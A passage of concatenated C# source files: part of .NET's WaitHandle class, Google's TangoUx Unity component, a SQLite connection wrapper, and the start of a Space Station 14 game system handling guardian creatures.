NotSupportedException(Environment.GetResourceString("NotSupported_MaxWaitHandles")); } if (-1 > millisecondsTimeout) { throw new ArgumentOutOfRangeException("millisecondsTimeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } Contract.EndContractBlock(); WaitHandle[] internalWaitHandles = new WaitHandle[waitHandles.Length]; for (int i = 0; i < waitHandles.Length; i ++) { WaitHandle waitHandle = waitHandles[i]; if (waitHandle == null) throw new ArgumentNullException(Environment.GetResourceString("ArgumentNull_ArrayElement")); #if FEATURE_REMOTING if (RemotingServices.IsTransparentProxy(waitHandle)) throw new InvalidOperationException(Environment.GetResourceString("InvalidOperation_WaitOnTransparentProxy")); #endif internalWaitHandles[i] = waitHandle; } #if _DEBUG // make sure we do not use waitHandles any more. waitHandles = null; #endif int ret = WaitMultiple(internalWaitHandles, millisecondsTimeout, exitContext, false /* waitany*/ ); #if !MONO if(AppDomainPauseManager.IsPaused) AppDomainPauseManager.ResumeEvent.WaitOneWithoutFAS(); #endif // !MONO if ((WAIT_ABANDONED <= ret) && (WAIT_ABANDONED+internalWaitHandles.Length > ret)) { int mutexIndex = ret -WAIT_ABANDONED; if(0 <= mutexIndex && mutexIndex < internalWaitHandles.Length) { ThrowAbandonedMutexException(mutexIndex,internalWaitHandles[mutexIndex]); } else { ThrowAbandonedMutexException(); } } GC.KeepAlive(internalWaitHandles); return ret; } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] public static int WaitAny( WaitHandle[] waitHandles, TimeSpan timeout, bool exitContext) { long tm = (long)timeout.TotalMilliseconds; if (-1 > tm || (long) Int32.MaxValue < tm) { throw new ArgumentOutOfRangeException("timeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } return WaitAny(waitHandles,(int)tm, exitContext); } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] public static int WaitAny(WaitHandle[] waitHandles, TimeSpan timeout) { return WaitAny(waitHandles, timeout, true); } /*======================================================================== ** Shorthand for WaitAny with timeout = Timeout.Infinite and exitContext = true ========================================================================*/ [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] public static int WaitAny(WaitHandle[] waitHandles) { return WaitAny(waitHandles, Timeout.Infinite, true); } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] public static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout) { return WaitAny(waitHandles, millisecondsTimeout, true); } #if !FEATURE_PAL /*================================================= == == SignalAndWait == ==================================================*/ #if !MONO [System.Security.SecurityCritical] // auto-generated [ResourceExposure(ResourceScope.None)] [MethodImplAttribute(MethodImplOptions.InternalCall)] private static extern int SignalAndWaitOne(SafeWaitHandle waitHandleToSignal,SafeWaitHandle waitHandleToWaitOn, int millisecondsTimeout, bool hasThreadAffinity, bool exitContext); #endif // !MONO public static bool SignalAndWait( WaitHandle toSignal, WaitHandle toWaitOn) { return SignalAndWait(toSignal,toWaitOn,-1,false); } public static bool SignalAndWait( WaitHandle toSignal, WaitHandle toWaitOn, TimeSpan timeout, bool exitContext) { long tm = (long)timeout.TotalMilliseconds; if (-1 > tm || (long) Int32.MaxValue < tm) { throw new ArgumentOutOfRangeException("timeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } return SignalAndWait(toSignal,toWaitOn,(int)tm,exitContext); } [System.Security.SecuritySafeCritical] // auto-generated [SuppressMessage("Microsoft.Concurrency", "CA8001", Justification = "Reviewed for thread-safety.")] public static bool SignalAndWait( WaitHandle toSignal, WaitHandle toWaitOn, int millisecondsTimeout, bool exitContext) { if(null == toSignal) { throw new ArgumentNullException("toSignal"); } if(null == toWaitOn) { throw new ArgumentNullException("toWaitOn"); } if (-1 > millisecondsTimeout) { throw new ArgumentOutOfRangeException("millisecondsTimeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } Contract.EndContractBlock(); //NOTE: This API is not supporting Pause/Resume as it's not exposed in CoreCLR (not in WP or SL) int ret = SignalAndWaitOne(toSignal.safeWaitHandle,toWaitOn.safeWaitHandle,millisecondsTimeout, toWaitOn.hasThreadAffinity,exitContext); if(WAIT_FAILED != ret && toSignal.hasThreadAffinity) { Thread.EndCriticalRegion(); Thread.EndThreadAffinity(); } if(WAIT_ABANDONED == ret) { ThrowAbandonedMutexException(); } if(ERROR_TOO_MANY_POSTS == ret) { throw new InvalidOperationException(Environment.GetResourceString("Threading.WaitHandleTooManyPosts")); } //Object was signaled if(WAIT_OBJECT_0 == ret) { return true; } //Timeout return false; } #endif private static void ThrowAbandonedMutexException() { throw new AbandonedMutexException(); } private static void ThrowAbandonedMutexException(int location, WaitHandle handle) { throw new AbandonedMutexException(location, handle); } public virtual void Close() { Dispose(true); GC.SuppressFinalize(this); } [System.Security.SecuritySafeCritical] // auto-generated protected virtual void Dispose(bool explicitDisposing) { if (safeWaitHandle != null) { safeWaitHandle.Close(); } } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } } }
//----------------------------------------------------------------------- // <copyright file="TangoUx.cs" company="Google"> // // Copyright 2016 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // </copyright> //----------------------------------------------------------------------- namespace Tango { using System.Collections; using UnityEngine; /// <summary> /// Main entry point for the Tango UX Library. /// /// This component handles nearly all communication with the underlying Tango UX Library. Customization of the /// UX library can be done in the Unity editor or by programmatically setting the member flags. /// </summary> [RequireComponent(typeof(TangoApplication))] public class TangoUx : MonoBehaviour, ITangoLifecycle, ITangoPose, ITangoEventMultithreaded, ITangoDepthMultithreaded { public bool m_enableUXLibrary = true; public bool m_drawDefaultUXExceptions = true; public bool m_showConnectionScreen = true; public TangoUxEnums.UxHoldPostureType m_holdPosture = TangoUxEnums.UxHoldPostureType.NONE; private TangoApplication m_tangoApplication; private bool m_isTangoUxStarted = false; /// <summary> /// Start this instance. /// </summary> public void Start() { m_tangoApplication = GetComponent<TangoApplication>(); m_tangoApplication.Register(this); AndroidHelper.InitTangoUx(); SetHoldPosture(m_holdPosture); } /// <summary> /// Disperse any events related to TangoUX functionality. /// </summary> public void Update() { UxExceptionEventListener.SendIfAvailable(); } /// <summary> /// Raises the destroy event. /// </summary> public void OnDestroy() { if (m_tangoApplication) { m_tangoApplication.Unregister(this); } } /// <summary> /// Register the specified tangoObject. /// </summary> /// <param name="tangoObject">Tango object.</param> public void Register(Object tangoObject) { if (m_enableUXLibrary) { ITangoUX tangoUX = tangoObject as ITangoUX; if (tangoUX != null) { UxExceptionEventListener.RegisterOnUxExceptionEventHandler(tangoUX.OnUxExceptionEventHandler); } ITangoUXMultithreaded tangoUXMultithreaded = tangoObject as ITangoUXMultithreaded; if (tangoUXMultithreaded != null) { UxExceptionEventListener.RegisterOnOnUxExceptionEventMultithreadedAvailable(tangoUXMultithreaded.OnUxExceptionEventMultithreadedAvailableEventHandler); } } } /// <summary> /// Unregister the specified tangoObject. /// </summary> /// <param name="tangoObject">Tango object.</param> public void Unregister(Object tangoObject) { if (m_enableUXLibrary) { ITangoUX tangoUX = tangoObject as ITangoUX; if (tangoUX != null) { UxExceptionEventListener.UnregisterOnUxExceptionEventHandler(tangoUX.OnUxExceptionEventHandler); } ITangoUXMultithreaded tangoUXMultithreaded = tangoObject as ITangoUXMultithreaded; if (tangoUXMultithreaded != null) { UxExceptionEventListener.UnregisterOnUxExceptionEventMultithreadedAvailable(tangoUXMultithreaded.OnUxExceptionEventMultithreadedAvailableEventHandler); } } } /// <summary> /// Callback to handle Android permissions being granted. /// </summary> /// <param name="permissionsGranted">If set to <c>true</c>, then permissions were granted; otherwise <c>false</c>.</param> public void OnAndroidPermissions(bool permissionsGranted) { if (m_enableUXLibrary && permissionsGranted) { _StartExceptionsListener(); if (m_tangoApplication.m_autoConnectToService) { if (!m_isTangoUxStarted) { AndroidHelper.StartTangoUX(m_tangoApplication.m_enableMotionTracking && m_showConnectionScreen); m_isTangoUxStarted = true; } } } } /// <summary> /// Callback to handle all tango permissions being granted. /// </summary> /// <param name="permissionsGranted">If set to <c>true</c>, then permissions were granted; otherwise <c>false</c>.</param> public void OnTangoPermissions(bool permissionsGranted) { } /// <summary> /// This is called when successfully connected to the Tango Service. /// </summary> public void OnTangoServiceConnected() { if (m_enableUXLibrary) { if (!m_isTangoUxStarted) { AndroidHelper.StartTangoUX(m_tangoApplication.m_enableMotionTracking && m_showConnectionScreen); m_isTangoUxStarted = true; } } } /// <summary> /// This is called when disconnected from the Tango Service. /// </summary> public void OnTangoServiceDisconnected() { if (m_enableUXLibrary) { AndroidHelper.StopTangoUX(); m_isTangoUxStarted = false; } } /// <summary> /// Raises the Tango pose available event. /// </summary> /// <param name="poseData">Pose data.</param> public void OnTangoPoseAvailable(Tango.TangoPoseData poseData) { if (m_enableUXLibrary) { AndroidHelper.ParseTangoPoseStatus((int)poseData.status_code); } } /// <summary> /// Raises the Tango event available event handler event. /// </summary> /// <param name="tangoEvent">Tango event.</param> public void OnTangoEventMultithreadedAvailableEventHandler(Tango.TangoEvent tangoEvent) { if (m_enableUXLibrary) { AndroidHelper.ParseTangoEvent(tangoEvent.timestamp, (int)tangoEvent.type, tangoEvent.event_key, tangoEvent.event_value); } } /// <summary> /// Raises the Tango depth available event. /// </summary> /// <param name="tangoDepth">Tango depth.</param> public void OnTangoDepthMultithreadedAvailable(Tango.TangoXYZij tangoDepth) { if (m_enableUXLibrary) { AndroidHelper.ParseTangoDepthPointCount(tangoDepth.xyz_count); } } /// <summary> /// Sets the recommended way to hold the device. /// </summary> /// <param name="holdPostureType">Hold posture type.</param> public void SetHoldPosture(TangoUxEnums.UxHoldPostureType holdPostureType) { AndroidHelper.SetHoldPosture((int)holdPostureType); } /// <summary> /// Display Tango Service out-of-date notification. /// </summary> public void ShowTangoOutOfDate() { AndroidHelper.ShowTangoOutOfDate(); } /// <summary> /// Start exceptions listener. /// </summary> private void _StartExceptionsListener() { #if UNITY_5_0 || UNITY_5_1 || UNITY_5_2 #else // The UX library exception feature will cause a crash on Tango Development Tablet with apk built from // Unity 5.3 and above version. We disabled this feature temporarily. if (SystemInfo.deviceModel.Equals("Google Project Tango Tablet Development Kit")) { Debug.Log("Force disabling Tango UX library exception drawing."); m_drawDefaultUXExceptions = false; } #endif AndroidHelper.ShowStandardTangoExceptionsUI(m_drawDefaultUXExceptions); AndroidHelper.SetUxExceptionEventListener(); } } }
using System.Collections.Generic; using System.Data.Common; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Text.RegularExpressions; using System.Threading; using System.Threading.Tasks; namespace System.Data.SQLite { public sealed class SQLiteConnection : DbConnection { public SQLiteConnection() => m_transactions = new Stack<SQLiteTransaction>(); public SQLiteConnection(string connectionString) : this() { ConnectionString = connectionString; } public SQLiteConnection(IntPtr db) : this() { m_db = new SqliteDatabaseHandle(db); SetState(ConnectionState.Open); } public new SQLiteTransaction BeginTransaction() => (SQLiteTransaction) base.BeginTransaction(); protected override DbTransaction BeginDbTransaction(IsolationLevel isolationLevel) { if (isolationLevel == IsolationLevel.Unspecified) isolationLevel = IsolationLevel.Serializable; if (isolationLevel != IsolationLevel.Serializable && isolationLevel != IsolationLevel.ReadCommitted) throw new ArgumentOutOfRangeException("isolationLevel", isolationLevel, "Specified IsolationLevel value is not supported."); if (m_transactions.Count == 0) this.ExecuteNonQuery(isolationLevel == IsolationLevel.Serializable ? "BEGIN IMMEDIATE" : "BEGIN"); m_transactions.Push(new SQLiteTransaction(this, isolationLevel)); return CurrentTransaction; } public override void Close() => Dispose(); public override void ChangeDatabase(string databaseName) => throw new NotSupportedException(); public override void Open() { VerifyNotDisposed(); if (State != ConnectionState.Closed) throw new InvalidOperationException("Cannot Open when State is {0}.".FormatInvariant(State)); var connectionStringBuilder = new SQLiteConnectionStringBuilder { ConnectionString = ConnectionString }; m_dataSource = connectionStringBuilder.DataSource; if (string.IsNullOrEmpty(m_dataSource)) throw new InvalidOperationException("Connection String Data Source must be set."); var openFlags = (connectionStringBuilder.ReadOnly ? SQLiteOpenFlags.ReadOnly : SQLiteOpenFlags.ReadWrite) | SQLiteOpenFlags.Uri; if (!connectionStringBuilder.FailIfMissing && !connectionStringBuilder.ReadOnly) openFlags |= SQLiteOpenFlags.Create; SetState(ConnectionState.Connecting); var m = s_vfsRegex.Match(m_dataSource); string fileName = m.Groups["fileName"].Value; string vfsName = m.Groups["vfsName"].Value; var errorCode = NativeMethods.sqlite3_open_v2(ToNullTerminatedUtf8(fileName), out m_db, openFlags, string.IsNullOrEmpty(vfsName) ? null : ToNullTerminatedUtf8(vfsName)); var success = false; try { if (errorCode != SQLiteErrorCode.Ok) { SetState(ConnectionState.Broken); throw new SQLiteException(errorCode, m_db); } if (!string.IsNullOrEmpty(connectionStringBuilder.Password)) { byte[] passwordBytes = Encoding.UTF8.GetBytes(connectionStringBuilder.Password); errorCode = NativeMethods.sqlite3_key(m_db, passwordBytes, passwordBytes.Length); if (errorCode != SQLiteErrorCode.Ok) throw new SQLiteException(errorCode, m_db); } var allowOpenReadOnly = true; #if MONOANDROID // opening read-only throws "EntryPointNotFoundException: sqlite3_db_readonly" on Android API 15 and below (JellyBean is API 16) allowOpenReadOnly = Android.OS.Build.VERSION.SdkInt >= Android.OS.BuildVersionCodes.JellyBean; #endif if (allowOpenReadOnly) { int isReadOnly = NativeMethods.sqlite3_db_readonly(m_db, "main"); if (isReadOnly == 1 && !connectionStringBuilder.ReadOnly) throw new SQLiteException(SQLiteErrorCode.ReadOnly); } // wait up to ten seconds (in native code) when there is DB contention, but still give managed code a // chance to respond to cancellation periodically NativeMethods.sqlite3_busy_timeout(m_db, 10000); if (connectionStringBuilder.CacheSize != 0) this.ExecuteNonQuery("pragma cache_size={0}".FormatInvariant(connectionStringBuilder.CacheSize)); if (connectionStringBuilder.PageSize != 0) this.ExecuteNonQuery("pragma page_size={0}".FormatInvariant(connectionStringBuilder.PageSize)); if (connectionStringBuilder.ContainsKey(SQLiteConnectionStringBuilder.MmapSizeKey)) this.ExecuteNonQuery("pragma mmap_size={0}".FormatInvariant(connectionStringBuilder.MmapSize)); if (connectionStringBuilder.ForeignKeys) this.ExecuteNonQuery("pragma foreign_keys = on"); if (connectionStringBuilder.JournalMode != SQLiteJournalModeEnum.Default) this.ExecuteNonQuery("pragma journal_mode={0}".FormatInvariant(connectionStringBuilder.JournalMode)); if (connectionStringBuilder.ContainsKey(SQLiteConnectionStringBuilder.JournalSizeLimitKey)) this.ExecuteNonQuery("pragma journal_size_limit={0}".FormatInvariant(connectionStringBuilder.JournalSizeLimit)); if (connectionStringBuilder.ContainsKey(SQLiteConnectionStringBuilder.PersistWalKey)) { unsafe { const int sqliteFcntlPersistWal = 10; int enablePersistentWalMode = connectionStringBuilder.PersistWal ? 1 : 0; NativeMethods.sqlite3_file_control(m_db, "main", sqliteFcntlPersistWal, &enablePersistentWalMode); } } if (connectionStringBuilder.ContainsKey(SQLiteConnectionStringBuilder.SynchronousKey)) this.ExecuteNonQuery("pragma synchronous={0}".FormatInvariant(connectionStringBuilder.SyncMode)); if (connectionStringBuilder.TempStore != SQLiteTemporaryStore.Default) this.ExecuteNonQuery("pragma temp_store={0}".FormatInvariant(connectionStringBuilder.TempStore)); if (m_statementCompleted is not null) SetProfileCallback(s_profileCallback); SetState(ConnectionState.Open); success = true; } finally { if (!success) Utility.Dispose(ref m_db); } } public override string ConnectionString { get; set; } public override string Database => throw new NotSupportedException(); public override ConnectionState State => m_connectionState; public override string DataSource => m_dataSource; public override string ServerVersion => throw new NotSupportedException(); protected override DbCommand CreateDbCommand() => new SQLiteCommand(this); public override DataTable GetSchema() => throw new NotSupportedException(); public override DataTable GetSchema(string collectionName) => throw new NotSupportedException(); public override DataTable GetSchema(string collectionName, string[] restrictionValues) => throw new NotSupportedException(); public override Task OpenAsync(CancellationToken cancellationToken) => throw new NotSupportedException(); public override int ConnectionTimeout => throw new NotSupportedException(); /// <summary>Backs up the database, using the specified database connection as the destination.</summary> /// <param name="destination">The destination database connection.</param> /// <param name="destinationName">The destination database name (usually <c>"main"</c>).</param> /// <param name="sourceName">The source database name (usually <c>"main"</c>).</param> /// <param name="pages">The number of pages to copy, or negative to copy all remaining pages.</param> /// <param name="callback">The method to invoke between each step of the backup process. This /// parameter may be <c>null</c> (i.e., no callbacks will be performed).</param> /// <param name="retryMilliseconds">The number of milliseconds to sleep after encountering a locking error /// during the backup process. A value less than zero means that no sleep should be performed.</param> public void BackupDatabase(SQLiteConnection destination, string destinationName, string sourceName, int pages, SQLiteBackupCallback callback, int retryMilliseconds) { VerifyNotDisposed(); if (m_connectionState != ConnectionState.Open) throw new InvalidOperationException("Source database is not open."); if (destination is null) throw new ArgumentNullException("destination"); if (destination.m_connectionState != ConnectionState.Open) throw new ArgumentException("Destination database is not open.", "destination"); if (destinationName is null) throw new ArgumentNullException("destinationName"); if (sourceName is null) throw new ArgumentNullException("sourceName"); if (pages == 0) throw new ArgumentException("pages must not be 0.", "pages"); using var backup = NativeMethods.sqlite3_backup_init(destination.m_db, ToNullTerminatedUtf8(destinationName), m_db, ToNullTerminatedUtf8(sourceName)); if (backup is null) throw new SQLiteException(NativeMethods.sqlite3_errcode(m_db), m_db); while (true) { var error = NativeMethods.sqlite3_backup_step(backup, pages); if (error == SQLiteErrorCode.Done) { break; } else if (error == SQLiteErrorCode.Ok || error == SQLiteErrorCode.Busy || error == SQLiteErrorCode.Locked) { var retry = error != SQLiteErrorCode.Ok; if (callback is not null && !callback(this, sourceName, destination, destinationName, pages, NativeMethods.sqlite3_backup_remaining(backup), NativeMethods.sqlite3_backup_pagecount(backup), retry)) break; if (retry && retryMilliseconds > 0) Thread.Sleep(retryMilliseconds); } else { throw new SQLiteException(error, m_db); } } } public event StatementCompletedEventHandler StatementCompleted { add { if (m_statementCompleted is null && m_db is not null) SetProfileCallback(s_profileCallback); m_statementCompleted += value ?? throw new ArgumentNullException("value"); } remove { m_statementCompleted -= value ?? throw new ArgumentNullException("value"); if (m_statementCompleted is null && m_db is not null) SetProfileCallback(null); } } protected override DbProviderFactory DbProviderFactory => throw new NotSupportedException(); protected override void Dispose(bool disposing) { try { if (disposing) { if (m_db is not null) { while (m_transactions.Count > 0) m_transactions.Pop().Dispose(); if (m_statementCompleted is not null) SetProfileCallback(null); Utility.Dispose(ref m_db); SetState(ConnectionState.Closed); } } m_isDisposed = true; } finally { base.Dispose(disposing); } } protected override object GetService(Type service) => throw new NotSupportedException(); protected override bool CanRaiseEvents => false; internal SQLiteTransaction CurrentTransaction => m_transactions.FirstOrDefault(); internal bool IsOnlyTransaction(SQLiteTransaction transaction) => m_transactions.Count == 1 && m_transactions.Peek() == transaction; internal void PopTransaction() => m_transactions.Pop(); internal SqliteDatabaseHandle Handle { get { VerifyNotDisposed(); return m_db; } } internal static byte[] ToUtf8(string value) => Encoding.UTF8.GetBytes(value); internal static byte[] ToNullTerminatedUtf8(string value) { var encoding = Encoding.UTF8; int len = encoding.GetByteCount(value); byte[] bytes = new byte[len + 1]; encoding.GetBytes(value, 0, value.Length, bytes, 0); return bytes; } internal static string FromUtf8(IntPtr ptr) { int length = 0; unsafe { byte* p = (byte*) ptr.ToPointer(); while (*p++ != 0) length++; } return FromUtf8(ptr, length); } internal static unsafe string FromUtf8(IntPtr ptr, int length) => Encoding.UTF8.GetString((byte*) ptr.ToPointer(), length); private void SetProfileCallback(SQLiteTraceV2Callback callback) { if (callback is not null && !m_handle.IsAllocated) m_handle = GCHandle.Alloc(this); else if (callback is null && m_handle.IsAllocated) m_handle.Free(); NativeMethods.sqlite3_trace_v2(m_db, SQLiteTraceEvents.SQLITE_TRACE_PROFILE, callback, m_handle.IsAllocated ? GCHandle.ToIntPtr(m_handle) : IntPtr.Zero); } private void SetState(ConnectionState newState) { if (m_connectionState != newState) { var previousState = m_connectionState; m_connectionState = newState; OnStateChange(new StateChangeEventArgs(previousState, newState)); } } #if MONOTOUCH [MonoTouch.MonoPInvokeCallback(typeof(SQLiteTraceV2Callback))] #elif XAMARIN_IOS [ObjCRuntime.MonoPInvokeCallback(typeof(SQLiteTraceV2Callback))] #endif private static void ProfileCallback(SQLiteTraceEvents eventCode, IntPtr userData, IntPtr pStmt, IntPtr pDuration) { var handle = GCHandle.FromIntPtr(userData); var connection = (SQLiteConnection) handle.Target; StatementCompletedEventHandler handler = connection.m_statementCompleted; if (handler is not null) { var sql = FromUtf8(NativeMethods.sqlite3_sql(pStmt)); var nanoseconds = Marshal.ReadInt64(pDuration); handler(connection, new StatementCompletedEventArgs(sql, TimeSpan.FromMilliseconds(nanoseconds / 1000000.0))); } } private void VerifyNotDisposed() { if (m_isDisposed) throw new ObjectDisposedException(GetType().Name); } static readonly Regex s_vfsRegex = new Regex(@"^(?:\*(?'vfsName'.{0,16})\*)?(?'fileName'.*)$", RegexOptions.CultureInvariant); SqliteDatabaseHandle m_db; readonly Stack<SQLiteTransaction> m_transactions; static readonly SQLiteTraceV2Callback s_profileCallback = ProfileCallback; ConnectionState m_connectionState; GCHandle m_handle; bool m_isDisposed; StatementCompletedEventHandler m_statementCompleted; string m_dataSource; } /// <summary> /// Raised between each backup step. /// </summary> /// <param name="source">The source database connection.</param> /// <param name="sourceName">The source database name.</param> /// <param name="destination">The destination database connection.</param> /// <param name="destinationName">The destination database name.</param> /// <param name="pages">The number of pages copied with each step.</param> /// <param name="remainingPages">The number of pages remaining to be copied.</param> /// <param name="totalPages">The total number of pages in the source database.</param> /// <param name="retry">Set to true if the operation needs to be retried due to database locking issues; otherwise, set to false.</param> /// <returns><c>true</c> to continue with the backup process; otherwise <c>false</c> to halt the backup process, rolling back any changes that have been made so far.</returns> public delegate bool SQLiteBackupCallback(SQLiteConnection source, string sourceName, SQLiteConnection destination, string destinationName, int pages, int remainingPages, int totalPages, bool retry); }
using Content.Server.DoAfter; using Content.Server.Hands.Components; using Content.Server.Popups; using Content.Shared.Actions; using Content.Shared.Audio; using Content.Shared.Damage; using Content.Shared.Examine; using Content.Shared.Interaction; using Content.Shared.Interaction.Events; using Content.Shared.MobState; using Robust.Server.GameObjects; using Robust.Shared.Audio; using Robust.Shared.Containers; using Robust.Shared.Player; using Robust.Shared.Utility; namespace Content.Server.Guardian { /// <summary> /// A guardian has a host it's attached to that it fights for. A fighting spirit. /// </summary> public sealed class GuardianSystem : EntitySystem { [Dependency] private readonly DoAfterSystem _doAfterSystem = default!; [Dependency] private readonly PopupSystem _popupSystem = default!; [Dependency] private readonly DamageableSystem _damageSystem = default!; [Dependency] private readonly SharedActionsSystem _actionSystem = default!; public override void Initialize() { base.Initialize(); SubscribeLocalEvent<GuardianCreatorComponent, UseInHandEvent>(OnCreatorUse); SubscribeLocalEvent<GuardianCreatorComponent, AfterInteractEvent>(OnCreatorInteract); SubscribeLocalEvent<GuardianCreatorComponent, ExaminedEvent>(OnCreatorExamine); SubscribeLocalEvent<GuardianCreatorInjectedEvent>(OnCreatorInject); SubscribeLocalEvent<GuardianCreatorInjectCancelledEvent>(OnCreatorCancelled); SubscribeLocalEvent<GuardianComponent, MoveEvent>(OnGuardianMove); SubscribeLocalEvent<GuardianComponent, DamageChangedEvent>(OnGuardianDamaged); SubscribeLocalEvent<GuardianComponent, PlayerAttachedEvent>(OnGuardianPlayer); SubscribeLocalEvent<GuardianComponent, PlayerDetachedEvent>(OnGuardianUnplayer); SubscribeLocalEvent<GuardianHostComponent, ComponentInit>(OnHostInit); SubscribeLocalEvent<GuardianHostComponent, MoveEvent>(OnHostMove); SubscribeLocalEvent<GuardianHostComponent, MobStateChangedEvent>(OnHostStateChange); SubscribeLocalEvent<GuardianHostComponent, ComponentShutdown>(OnHostShutdown); SubscribeLocalEvent<GuardianHostComponent, GuardianToggleActionEvent>(OnPerformAction); SubscribeLocalEvent<GuardianComponent, AttackAttemptEvent>(OnGuardianAttackAttempt); } private void OnPerformAction(EntityUid uid, GuardianHostComponent component, GuardianToggleActionEvent args) { if (args.Handled) return; if (component.HostedGuardian != null) ToggleGuardian(component); args.Handled = true; } private void OnGuardianUnplayer(EntityUid uid, GuardianComponent component, PlayerDetachedEvent args) { var host = component.Host; if (!TryComp<GuardianHostComponent>(host, out var hostComponent)) return; RetractGuardian(hostComponent, component); } private void OnGuardianPlayer(EntityUid uid, GuardianComponent component, PlayerAttachedEvent args) { var host = component.Host; if (!HasComp<GuardianHostComponent>(host)) return; _popupSystem.PopupEntity(Loc.GetString("guardian-available"), host, Filter.Entities(host)); } private void OnHostInit(EntityUid uid, GuardianHostComponent component, ComponentInit args) { component.GuardianContainer = uid.EnsureContainer<ContainerSlot>("GuardianContainer"); _actionSystem.AddAction(uid, component.Action, null); } private void OnHostShutdown(EntityUid uid, GuardianHostComponent component, ComponentShutdown args) { if (component.HostedGuardian == null) return; EntityManager.QueueDeleteEntity(component.HostedGuardian.Value); _actionSystem.RemoveAction(uid, component.Action); } private void OnGuardianAttackAttempt(EntityUid uid, GuardianComponent component, AttackAttemptEvent args) { if (args.Cancelled || args.Target != component.Host) return; _popupSystem.PopupCursor(Loc.GetString("guardian-attack-host"), Filter.Entities(uid)); args.Cancel(); } public void ToggleGuardian(GuardianHostComponent hostComponent) { if (hostComponent.HostedGuardian == null || !TryComp(hostComponent.HostedGuardian, out GuardianComponent? guardianComponent)) return; if (guardianComponent.GuardianLoose) { RetractGuardian(hostComponent, guardianComponent); } else { ReleaseGuardian(hostComponent, guardianComponent); } } /// <summary> /// Adds the guardian host component to the user and spawns the guardian inside said component /// </summary> private void OnCreatorUse(EntityUid uid, GuardianCreatorComponent component, UseInHandEvent args) { if (args.Handled) return; args.Handled = true; UseCreator(args.User, args.User, component); } private void OnCreatorInteract(EntityUid uid, GuardianCreatorComponent component, AfterInteractEvent args) { if (args.Handled || args.Target == null || !args.CanReach) return; args.Handled = true; UseCreator(args.User, args.Target.Value, component); } private void OnCreatorCancelled(GuardianCreatorInjectCancelledEvent ev) { ev.Component.Injecting = false; } private void UseCreator(EntityUid user, EntityUid target, GuardianCreatorComponent component) { if (component.Used) { _popupSystem.PopupEntity(Loc.GetString("guardian-activator-empty-invalid-creation"), user, Filter.Entities(user)); return; } // Can only inject things with the component... if (!HasComp<CanHostGuardianComponent>(target)) { _popupSystem.PopupEntity(Loc.GetString("guardian-activator-invalid-target"), user, Filter.Entities(user)); return; } // If user is already a host don't duplicate. if (HasComp<GuardianHostComponent>(target)) { _popupSystem.PopupEntity(Loc.GetString("guardian-already-present-invalid-creation"), user, Filter.Entities(user)); return; } if (component.Injecting) return; component.Injecting = true; _doAfterSystem.DoAfter(new DoAfterEventArgs(user, component.InjectionDelay, target: target) { BroadcastFinishedEvent = new GuardianCreatorInjectedEvent(user, target, component), BroadcastCancelledEvent = new GuardianCreatorInjectCancelledEvent(target, component), BreakOnTargetMove = true, BreakOnUserMove = true, }); } private void OnCreatorInject(GuardianCreatorInjectedEvent ev) { var comp = ev.Component; if (comp.Deleted || comp.Used || !TryComp<HandsComponent>(ev.User, out var hands) || !hands.IsHolding(comp.Owner) || HasComp<GuardianHostComponent>(ev.Target)) { comp.Injecting = false; return; } var hostXform = EntityManager.GetComponent<TransformComponent>(ev.Target); var host = EntityManager.EnsureComponent<GuardianHostComponent>(ev.Target); // Use map position so it's not inadvertantly parented to the host + if it's in a container it spawns outside I guess. var guardian = EntityManager.SpawnEntity(comp.GuardianProto, hostXform.MapPosition); host.GuardianContainer.Insert(guardian); host.HostedGuardian = guardian; if (TryComp(guardian, out GuardianComponent? guardianComponent)) { guardianComponent.Host = ev.Target; SoundSystem.Play(Filter.Entities(ev.Target), "/Audio/Effects/guardian_inject.ogg", ev.Target); _popupSystem.PopupEntity(Loc.GetString("guardian-created"), ev.Target, Filter.Entities(ev.Target)); // Exhaust the activator comp.Used = true; } else { Logger.ErrorS("guardian", $"Tried to spawn a guardian that doesn't have {nameof(GuardianComponent)}"); EntityManager.QueueDeleteEntity(guardian); } } /// <summary> /// Triggers when the host receives damage which puts the host in either critical or killed state /// </summary> private void OnHostStateChange(EntityUid uid, GuardianHostComponent component, MobStateChangedEvent args) { if (component.HostedGuardian == null) return; if (args.CurrentMobState.IsCritical()) { _popupSystem.PopupEntity(Loc.GetString("guardian-critical-warn"), component.HostedGuardian.Value, Filter.Entities(component.HostedGuardian.Value)); SoundSystem.Play(Filter.Entities(component.HostedGuardian.Value), "/Audio/Effects/guardian_warn.ogg", component.HostedGuardian.Value); } else if (args.CurrentMobState.IsDead()) { SoundSystem.Play(Filter.Pvs(uid), "/Audio/Voice/Human/malescream_guardian.ogg", uid, AudioHelpers.WithVariation(0.20f)); EntityManager.RemoveComponent<GuardianHostComponent>(uid); } } /// <summary> /// Handles guardian receiving damage and splitting it with the host according to his defence percent /// </summary> private void OnGuardianDamaged(EntityUid uid, GuardianComponent component, DamageChangedEvent args) { if (args.DamageDelta == null) return; _damageSystem.TryChangeDamage(component.Host, args.DamageDelta * component.DamageShare); _popupSystem.PopupEntity(Loc.GetString("guardian-entity-taking-damage"), component.Host, Filter.Entities(component.Host)); } /// <summary> /// Triggers while trying to examine an activator to see if it's used /// </summary> private void OnCreatorExamine(EntityUid uid, GuardianCreatorComponent component, ExaminedEvent args) { if (component.Used) { args.PushMarkup(Loc.GetString("guardian-activator-empty-examine")); } } /// <summary> /// Called every time the host moves, to make sure the distance between the host and the guardian isn't too far /// </summary> private void OnHostMove(EntityUid uid, GuardianHostComponent component, ref MoveEvent args) { if (component.HostedGuardian == null || 